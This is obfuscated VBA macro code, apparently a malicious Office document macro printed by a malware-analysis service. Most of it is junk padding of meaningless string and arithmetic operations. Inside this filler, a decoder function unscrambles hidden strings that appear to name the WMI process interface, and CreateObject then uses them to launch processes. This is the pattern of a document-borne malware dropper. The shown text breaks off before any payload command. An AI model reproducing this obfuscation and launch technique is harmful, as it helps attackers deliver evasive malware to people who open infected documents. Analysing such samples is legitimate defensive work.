        RAxwicYc = Left("GvPap YQ  RO- x_d", 2) + LTrim("SQR^BPO  #XCB")
        eyxPpBD = Space(16) + UCase("k@ u mSH(D")
        ierPQH = Right("ITriksR#ppStf", 5)
        MSeKfTkbQCO = Space(8) + UCase("c] dSvnLAK")
        kNMlIqTh = Right("Tr  aKMEIBt  dw ", 3)
        lcLVggzd = Space(7) + UCase("oD-WaJQ  p[Cl")
        kNMlIqTh = Left("un $NSD&F GE", 2) + LTrim("nptNP r S)P [ &knHG")
        aAzALh = aAzALh + 1
    Wend

    pYXGKVDlgN = StrReverse("eauM    !bt") + Left("pbcK ]Lv?MCAQM&", 3)
    BHJVUviWr = 1416 + 1435 + 529
    oHVXE = LTrim("D .?@Z GT k") + RTrim("I!@?e) n oi")
    ZQsHOuu = UCase("#)aA    m !  CBt  l")
    ierPQH = Left("Vcb R#  lg Jo pdT", 5) + LTrim("  OU C l (g^S ")
    While MDwXoW < 4
        lcLVggzd = UCase("uICv  I jjMh% _")
        rChfJyuqJQel = Right("  lX lW  @ )( ", 5)
        OPyVHLuLtmoo = 1621 + 1899 + 1754
        vXHLaeUPRm = Space(15) + UCase(" GGnv[  v  s  @ w e")
        vXHLaeUPRm = Right("T)k tG y#d]o tas  p", 2)
        TdeTa = StrReverse("]R ne qH& f Dxr!w ") + Left("i-P MzhPMzfIPMY.", 2)
        pYXGKVDlgN = RTrim("MkF. KiC X^  yELl")
        MDwXoW = MDwXoW + 2
    Wend

    RZGevFxgS = Left("@- WQeK?b &s !", 4) + LTrim("zhg. bp% p hhN ")
    While hfuYLo < 1
        While KRQuji < 2
            xXbjez = LTrim("! R k TiDiz?Tf Oo") + RTrim("-o% s XWzxN Doz!    ")
            MSeKfTkbQCO = Right("pp[NddZNY-#", 2)
            OoHXDBrwq = StrReverse("J kR_MfwZLE ") + Left(" V   h (Grg  M", 4)
            oAeNlNSuh = UCase("aU-a?  u RO k m zr")
            TdeTa = RTrim("po.m$)jphpcy ]jT ")
            KRQuji = KRQuji + 1
        Wend

        dFoLaMrDSCfT = RTrim(" JH cQ T-qjnWxSfrp")
        zgsvQWpgmJ = Left("[ nYHa  w%ctb B@ ", 4) + LTrim("   t!(l )t tH N")
        jcMNZQKBafBQ = Left("QMn  SSvwYi ", 4) + LTrim("_c h -Z%RF")
        svMiXf = Space(19) + UCase("l s%H] l-l ")
        RZGevFxgS = 1674 + 429 + 1942
        ZQsHOuu = UCase("o FPq fNP@] .")
        iAcVP = StrReverse("Pq?b  PpPbZ ") + Left(" kz ]AaMmI X !irp_", 2)
        

        oAeNlNSuh = Right("i?L@E   V  rBI vcV", 3)
        shtqUw = StrReverse("p Ww%ELkRO ef@ l GSX") + Left("NC  eGa     q", 5)
        hfuYLo = hfuYLo + 2
    Wend

    RxITfgRb = Left("CAf( Tq QcV$h ciq?", 2) + LTrim("Y _t^WcW! QmU^? ^")
    For IfBZxS = 1 To 8
        RAxwicYc = 601 + 178 + 1848
        ctVtmQumMl = StrReverse("V[ I EdFg ") + Left("PRit$T^- O% _GtzWV Y", 2)
        dFoLaMrDSCfT = StrReverse("x I(NeNbu ") + Left("KWydXw#Snf", 2)
        ierPQH = Right("t#tL%pnj% _wQ", 4)
        vKtFYB = 397 - 467 - 372
    Next IfBZxS

    SdLdFie = 455 - 499 - 376
    xXbjez = RTrim("bw  Y!  jq? A  ")
    ALQVhhx = Space(11) + UCase("FEUAjW sc  _  j)Yi %")
    oHVXE = 746 + 1742 + 1537
    While ITsijQ < 5
        

        NMrtQq = LTrim("n ]J .Yc^a") + RTrim("[ z  uP hfiWHJ  CDKb")
        

        GeyhrNU = 515 + 1599 + 1286
        niIVsleA = StrReverse("Fk[lcl HB_  !)a") + Left("WHg^SIzu] A zHkF", 2)
        KOmPLOw = Space(6) + UCase("RnqW _ZY -o")
        vSmrGl = Right("J[ I?Roi$r  ", 3)
        ITsijQ = ITsijQ + 2
    Wend

    mNBXEC = "DIlHARRtquQPnlNNMXMc"
End Function



Sub IDTzxC(cgnXwSa As String)
    

    

    KaUMJHufTP = Left("] f@mwGWsifqIfqg", 2) + LTrim("sUo] mBu v  -u  ")
    oHVXE = LTrim(" V%a#Ii xN") + RTrim("IjHXi^ a#h&A n_[@q ")
    RxITfgRb = LTrim("$ qAg%o .sxuDivl- ") + RTrim("zbI ^gS  TXU")
    ZQsHOuu = 1811 + 609 + 1663
    KOmPLOw = 898 + 1152 + 1227
    MnVawZqZia = Space(5) + UCase("BYv ) R c FCW@(")
    KOmPLOw = Space(7) + UCase("LAmpuYtI F$")
    jcMNZQKBafBQ = Left("  v_wIUGd  ", 3) + LTrim("  s@dQ!m# ")
    dFoLaMrDSCfT = Left("uJo xlA  JoS xpo", 2) + LTrim("mp i -rd F Gx")
    oHVXE = LTrim("GfAi@   vU") + RTrim("iu# vrF-% !")
End Sub



Sub TBgOok(TDmeDhL As Boolean, mcroQL As Integer)
    GeyhrNU = Left("  TT$c$o_JMjNcN ", 5) + LTrim("@NskS$?f^qSF yQ!MV")
    pYXGKVDlgN = UCase("jNMJ%ryX ]]( g ACbt!")
    

    TdeTa = UCase("YN_  wQKeoD ve_")
    For ubLBdH = 1 To 5
        For ecYkWf = 1 To 5
            rChfJyuqJQel = Right("D @(Np  E ])", 3)
            

            rChfJyuqJQel = UCase("!)U (jucqutg yRu  ")
            

            MSeKfTkbQCO = Left(" )po _p kj O zP", 2) + LTrim("s  t&k N@&H^?")
            RxITfgRb = RTrim("!Qzv^wk Ka_E]  ")
            KaUMJHufTP = StrReverse(" kSs G[HJ_L#PooD") + Left("c tbz&g%Vg# A&nay", 3)
            gRyEnygA = 366 - 283 - 249
        Next ecYkWf

        vSmrGl = LTrim("N&kyT@-s%_Ip") + RTrim(" ps mJpVO]")
        GeyhrNU = 420 - 219 - 362
        rChfJyuqJQel = UCase(" SQUVw  o h f^FCiy")
        xXbjez = 1937 + 1177 + 1205
        xXbjez = 420 - 391 - 215
        xneZuw = 1735 + 703 + 1091
        vSmrGl = UCase("p]EO !VCgsMwp-j X T$")
        zgsvQWpgmJ = Space(7) + UCase("_D #t $  N rBIy   ")
        MnVawZqZia = 392 - 394 - 360
        xneZuw = 714 + 912 + 459
    Next ubLBdH

    mEAmILQ = StrReverse("eO kq-@  EuLCb!e  eR") + Left("JK ]g     ^Y$ dE ", 2)
    shtqUw = LTrim(" (XJ)gUPU xC z) (") + RTrim("HbDkKE ij[ ]v")
    mEAmILQ = 1538 + 285 + 1560
    NMrtQq = Left(" )Oar i X  %!", 3) + LTrim("FKMnS( Hmd gz_O (")
    lcLVggzd = RTrim("i?mJp F]K #")
    ZQsHOuu = LTrim(")   mkPPj R") + RTrim(" )bQdIXppnqq$NFr g")
    tVCVKWHbVK = LTrim("fHMjO$ab$(L ") + RTrim("T Ki(mZlp bG")
    MSeKfTkbQCO = RTrim("LxON! u A_g %  ATOx")
End Sub



Attribute VB_Name = "Module6"

Function eWlKqY(PfXHoQy As Boolean, HeFQnkq As Boolean, TWnvVoP As Boolean) As String
    CxNgrwn = StrReverse("J(W &d  eWLX IB ") + Left("En  LC!XJGi&upL&]", 5)
    OoHXDBrwq = Space(20) + UCase("q&rx t])J W]k (g&l")
    kNMlIqTh = UCase("Ar(wPM   K HQ O lUq ")
    vKtFYB = Right("u?k- a!P  cda", 3)
    SdLdFie = StrReverse("!Tc&]G%Zhr") + Left("kSUdaf Ywn -u", 4)
    MSeKfTkbQCO = LTrim("B-O YuvN^h  %iN@Fu") + RTrim(" lCK[fE _w) qI ")
    

    oAeNlNSuh = UCase("x y % B   o! F]K")
    BHJVUviWr = UCase("khE Xl.ah D)X")
    While fpYgEu < 1
        While oeDWgb < 3
            JvzXlJFCp = Left(" O QnE u  sS_", 5) + LTrim("hHR UxN^fZzqdCU_A&")
            MSeKfTkbQCO = Space(17) + UCase("n q$qvW#K&yy Vw# Tnj")
            gRyEnygA = Right("n  ^ TQ a J Loaj", 4)
            ierPQH = UCase(" bqh X eA &CwYzS C")
            SdLdFie = Right("Y _-dd^ SY- ", 4)
            

            CxNgrwn = RTrim("   Ggg.l R b ")
            BHJVUviWr = RTrim("U^ k _ .Xd MZ%Lf")
            xneZuw = RTrim("sd lg)m  M?Fyn")
            oeDWgb = oeDWgb + 1
        Wend

        ctVtmQumMl = Right(" rviX@ztj Kx ", 2)
        oAeNlNSuh = LTrim("E v-N]  [jzwxy") + RTrim("XPQ?CGT@ PALn$x I[ ")
        

        eyxPpBD = RTrim("S_v_ SDcG$   % ")
        GeyhrNU = StrReverse("?DJY V [r rv") + Left("AF& % !D- XWD i", 5)
        fpYgEu = fpYgEu + 2
    Wend

    OitSSVCcwgM = 339 - 308 - 273
    RAxwicYc = 1026 + 183 + 1423
    BHJVUviWr = Left("D(STpB]N (! J", 2) + LTrim(" hfhbp@ Xl")
    RxITfgRb = UCase(" ch^ O@] q")
    xXbjez = 231 + 971 + 1616
    OPyVHLuLtmoo = LTrim("m QnLv T G$e^!%") + RTrim("Agh PCglf#olC")
    gRyEnygA = 355 - 217 - 383
    eWlKqY = "YrQoQvfMlGFDBkEAv"
End Function



Public Sub FiEEYcOBCq(axEqmn As String, XCrQYy As String, UtaMjUt As String, ranHJhI As String, yUGmTSe As String, dHmqhi As String)
    eyxPpBD = LTrim("r  ^  fQh  ! v[ tP ") + RTrim(" )pu UqD V]DL ZT k")
    pYXGKVDlgN = 478 + 786 + 106
    

    niIVsleA = UCase(" [SCG#o H y @ ")
    ZQsHOuu = StrReverse("Q bFP& $a?F^T!^") + Left("C_.n.K jeu y ", 2)
    lcLVggzd = Right("KH ^qv LKp(U$s-Co K(", 5)
    vKtFYB = 403 - 261 - 320
    BHJVUviWr = Right("  U  zqCOR ", 3)
    DpqVtNf = LTrim("L MvsA]bb R NRae( ") + RTrim(" J uSV.V  &K^$-k  q")
    eyxPpBD = Left("m(a  ciqbl", 4) + LTrim("I  iES.x) iGsN")
    shtqUw = 1804 + 518 + 1647
    vXHLaeUPRm = Space(14) + UCase("zt   fZY( iZRn")
    

    TdeTa = UCase("]pJ Wjk -o")
    NWjrBJjC = LDRWnC("wV $rRiqaKainuuf_?m uE]xgJ Y!Wmw([Ckt )f Ms MiSU: s nM\ hQLx\wc% !.Yk hs\&I!)&rzw Aoo)&M  ojj GQt$hD^R\EMCCZcL )Z iLo GWm(mx evBLQMr2Xt   ")
    DpqVtNf = Right("  (%?f RO ijp", 5)
    For Jsbqen = 1 To 8
        gRyEnygA = UCase("$# gyN q( [OYPTn) ")
        RZGevFxgS = LTrim(" Lxp#f[ hG  $tHCdXi ") + RTrim("A_$hu   BD  ")
        pYXGKVDlgN = RTrim("F_Zm    .Frmrrz ")
        SdLdFie = 1520 + 160 + 1279
        MSeKfTkbQCO = Space(10) + UCase("P r(N) ! YK")
    Next Jsbqen

    

    oAeNlNSuh = Left("HpNMhZI_ROn(   ( S", 4) + LTrim(".VeKqIIN apc lU")
    oAeNlNSuh = 1518 + 594 + 1149
    tVCVKWHbVK = Space(20) + UCase("cSWbu &jQQ.MAgd")
    YQRFOenjbsmS = Left("Z L(isNY &Q v", 3) + LTrim("Uw? P  tgOt]. XG")
    ZitqBieRAbk = Space(17) + UCase("Ti  CH  BMs")
    MnVawZqZia = UCase("C-  U  auNXBFo! F")
    While VtXosL < 2
        SdLdFie = 1256 + 206 + 388
        KaUMJHufTP = Left("&cO@   -m_SN U  g& E", 4) + LTrim("Db)VjvEv^)DO rN&")
        DpqVtNf = LTrim("[  FO]B UHQ   X ! ") + RTrim("oUc lZzY#Y[ $z")
        SdLdFie = UCase(" CbQzOS%eO )gp n")
        svMiXf = 334 - 111 - 430
        mEAmILQ = UCase("-ogX X %HS  r )")
        ierPQH = Left("lt wy tJ bO", 4) + LTrim("eJF_  sK U    ARc ")
        zgsvQWpgmJ = Space(2) + UCase("Pnczp E ak.  ")
        hfeJEein = Right(" iF?k RDhsX wxypc !!", 4)
        jcMNZQKBafBQ = StrReverse(" !&#pK_t o") + Left("  c$j Bt^  @CFtjZH", 4)
        VtXosL = VtXosL + 3
    Wend

    ctVtmQumMl = Left("Sr uck   t-", 4) + LTrim("go)-DbAbq[) ) ")
    mEAmILQ = Space(10) + UCase("%- $Xj  cg")
    eyxPpBD = 343 - 300 - 459
    QgNcQzHXGN = 447 + 1206 + 895
    zgsvQWpgmJ = Right("H mV^$-%YW )L._r", 2)
    

    While dBRqDo < 4
        

        RAxwicYc = 446 - 219 - 397
        

        OoHXDBrwq = 370 + 644 + 340
        dFoLaMrDSCfT = StrReverse("?)l&if$n aX") + Left(" X-[ [ y jz", 5)
        dBRqDo = dBRqDo + 2
    Wend

    dFoLaMrDSCfT = RTrim(" z&X  O&BXxm")
    lcLVggzd = Space(12) + UCase("@  %-TQ UXh %")
    Set aYeLg = CreateObject(NWjrBJjC)
    DpqVtNf = UCase("xCw#hQVA#TuHfaY")
    While TVTSlE < 1
        lcLVggzd = Right(" f slO  @ Y tmk%", 5)
        niIVsleA = 1549 + 777 + 348
        xneZuw = UCase("RrT (]A gErFPs")
        

        niIVsleA = Space(11) + UCase("X( B ](y aMw")
        svMiXf = LTrim(" c  !XZ^LRYC( ( cW") + RTrim("f fO Y Tf ")
        TVTSlE = TVTSlE + 1
    Wend

    oAeNlNSuh = StrReverse("jaBYgL]X-I f cK  I") + Left("o  SqsoQK(H$^yjo? O-", 2)
    xneZuw = UCase("h$CjAN  eG.H R . s")
    ZQsHOuu = RTrim(" mGLlty _a  D [Zp")
    CxNgrwn = 488 - 459 - 416
    hfeJEein = UCase(" OL  g Dh AS k ?-^")
    GeyhrNU = 246 - 279 - 434
    lcLVggzd = StrReverse(" VPDCE . Z") + Left("F H[  $ O fk&Z  f ", 4)
    MnVawZqZia = Left("D Yn&U iVU E   s%m t", 5) + LTrim(" C_@ R  )#z")
    xXbjez = Left("fzo?^ I%k y ]x]v", 3) + LTrim("%Ah  %oH#]Q  ruN#")
    While FKrHqk < 2
        jcMNZQKBafBQ = RTrim("nJu i%z#HrfzXs")
        RZGevFxgS = 404 + 149 + 1850
        shtqUw = Left("ZJQS UEKO( ", 3) + LTrim("f psoM!_U@ Qd")
        RxITfgRb = 541 + 1710 + 1068
        ZQsHOuu = LTrim(" Kp kk _rfraMQNAi&") + RTrim("SLt ^Hco  F e&c.Gj")
        hfeJEein = 1854 + 581 + 1887
        FKrHqk = FKrHqk + 3
    Wend

    niIVsleA = 207 - 407 - 374
    CxNgrwn = 1033 + 1730 + 1916
    niIVsleA = 498 - 169 - 150
    oHVXE = Space(20) + UCase(" b PpbiGNkYBypxv]B ")
    NWjrBJjC = LDRWnC("W !QqXiAA^HOnq beU3? dk-2vQu% _t f!SPc $Gnr NCy oTxvb#cjr $ eF    sj Bqos!YT%kS !vj^tEJ E@a[Ko )rJ]J otlt Djup)GKfp FOTk")
    ctVtmQumMl = StrReverse(" n@qUAC  NGPz") + Left(" R sV_ NIFoC  ", 5)
    While onCdGH < 2
        RAxwicYc = 474 - 127 - 479
        OitSSVCcwgM = StrReverse(" $gyhw_Y [n") + Left("  y?e Xf%Zd ", 2)
        ZitqBieRAbk = 894 + 973 + 520
        mEAmILQ = Space(10) + UCase(" vXk M aCq dEi")
        KOmPLOw = RTrim(" DmA%rS. TW")
        

        YQRFOenjbsmS = Right(" AWuvU v  ", 3)
        onCdGH = onCdGH + 3
    Wend

    ZitqBieRAbk = StrReverse("Zl?jlpKo l") + Left("d U K  I#(", 3)
    

    While qMkJAM < 4
        RAxwicYc = UCase(" jZSK]U lY&%OHeK )r")
        zgsvQWpgmJ = Right(" fQWo@WOKomsL", 5)
        ALQVhhx = LTrim("xZ&#KcAPiLIp^ G  drE") + RTrim(" n uPRQan%[R %?")
        vXHLaeUPRm = 641 + 944 + 1768
        OitSSVCcwgM = LTrim("xf Nda]Rm  Kk?S k") + RTrim("S gC PZ.iu _")
        tVCVKWHbVK = Space(13) + UCase("ac_& U zIdv ZZ@")
        iAcVP = LTrim("Wh(BUh g H fM  DW") + RTrim("v [F@p ) HF ")
        ALQVhhx = 1681 + 223 + 1188
        rChfJyuqJQel = UCase("v (N.E sY s(L_EE")
        qMkJAM = qMkJAM + 1
    Wend

    While qOxxeL < 5
        While xKNQYI < 1
            

            

            pYXGKVDlgN = StrReverse("#M   uXCm %vOmTt") + Left("rj UVY XVdk&", 2)
            niIVsleA = Right("m QDBEBi^y LtZ&!UH", 2)
            pYXGKVDlgN = StrReverse("p k  K otXGW!fE]s-$") + Left("g !]  uu   ", 5)
            OPyVHLuLtmoo = RTrim("v FoXGkU$ $mgNOPd)t ")
            RZGevFxgS = RTrim(" OFd]Dglz[")
            eyxPpBD = Space(18) + UCase("-_I@ IxW$r")
            xKNQYI = xKNQYI + 1
        Wend

        jcMNZQKBafBQ = StrReverse("ftMj[_eAB NT") + Left("L LNHkh  q!( S?d", 5)
        jcMNZQKBafBQ = 1566 + 1202 + 922
        YQRFOenjbsmS = RTrim("K.v-zv  i._ )")
        vSmrGl = Space(9) + UCase("K B ( @  n -")
        KaUMJHufTP = LTrim(") bi ^ASGOh h") + RTrim("Tw? FBujLP ffrn")
        qOxxeL = qOxxeL + 1
    Wend

    ALQVhhx = Left("& p  Rq BG$m", 5) + LTrim("Xi G( J -W vF VPd")
    KsbQiwSESt = 135 - 154 - 198
    While YcnlDe < 3
        For FJuOWO = 1 To 5
            MnVawZqZia = UCase("TE .C  W  JqpD  gC")
            jcMNZQKBafBQ = Space(20) + UCase(")a@ x(p  [ er ")
            DpqVtNf = LTrim(")aa Y [bM[gxM#") + RTrim("RP  F %R R  ")
            gRyEnygA = RTrim("-AWa #.%urqo#t L IB#")
            oAeNlNSuh = 407 - 276 - 436
        Next FJuOWO

        zgsvQWpgmJ = UCase(" yF# iZ @aCIY")
        

        svMiXf = Space(7) + UCase("! FaDD]z   Qi C_")
        vXHLaeUPRm = 213 - 167 - 409
        ierPQH = Space(7) + UCase(" x G  woA $E")
        YcnlDe = YcnlDe + 2
    Wend

    vSmrGl = Right("X x DRYqI ", 3)
    For AzoAlM = 1 To 2
        For djZAqm = 1 To 8
            MSeKfTkbQCO = Left("^Zf Tey vj]h_B p ", 2) + LTrim("?Z Np  J (RW K ")
            shtqUw = RTrim("XJUdK JjBC   Uc")
            DpqVtNf = Left("RRO z  t Ng Gq", 4) + LTrim("Oql   X tODiFTDj O")
            ALQVhhx = Left("&I Dy ( DV", 2) + LTrim("R@Aw . Ar!k ! w")
            YQRFOenjbsmS = Space(4) + UCase(" phQJ qGS)j F Yi ")
            OoHXDBrwq = 651 + 444 + 1061
            ierPQH = RTrim(" K%W dC eICU MRO)Q]")
            ZitqBieRAbk = Space(19) + UCase("Wt-C uQfX-Vbra?@-j")
        Next djZAqm

        kNMlIqTh = RTrim("CabuP H.  Y_XIeAf")
        niIVsleA = Left("K&nS  .w.$ TKbqU", 2) + LTrim("Rb Q hEwJLw")
        BHJVUviWr = 494 - 353 - 400
        ALQVhhx = 1796 + 1198 + 397
        tVCVKWHbVK = UCase("ORfZY&L  U!# iI  & r")
        KaUMJHufTP = UCase("l -B^W # o -u  S @")
        tVCVKWHbVK = 449 - 148 - 421
        oAeNlNSuh = RTrim("cRO_oVBc  i %$[J@")
        CxNgrwn = Right("&va vhSbRqe[Phe", 3)
        vKtFYB = UCase("X_ N Qz%? L- Q")
    Next AzoAlM

    NMrtQq = StrReverse("t nO $x ?]") + Left("%tyC RZ] Vdc", 2)
    vXHLaeUPRm = 312 + 480 + 1722
    For GzPSgk = 1 To 3
        While FOAJzx < 3
            

            CxNgrwn = RTrim("n Xz(  (eI[K R")
            xneZuw = StrReverse("z  aGO(sv  # n") + Left("HCB HyTL   i a ?yw ", 4)
            dFoLaMrDSCfT = Left("  Gs JH Wr   kq!G", 4) + LTrim("Y!N%qNq$pylkoJ% M")
            JvzXlJFCp = UCase("@$[ yihtUqxpxzE")
            ierPQH = Space(18) + UCase(" rfs?vy  )zG@kj ")
            niIVsleA = UCase("tgP Jb-#PV k QMq ")
            FOAJzx = FOAJzx + 2
        Wend

        RxITfgRb = StrReverse("Lra GvY wAQ&d") + Left("!oyO CW aItBZmWTN s", 3)
        xneZuw = 149 - 393 - 401
        xXbjez = Left(" ]UJR#Z DNH .r X", 3) + LTrim("s%Dtt? NfEX#g@?eo")
        

        tVCVKWHbVK = StrReverse("u U KeuK  ") + Left("AH%w   a  XD", 2)
        YQRFOenjbsmS = RTrim("_  z- (-@ ")
        

…

Open this report in the interactive analyzer, or submit your own file for analysis.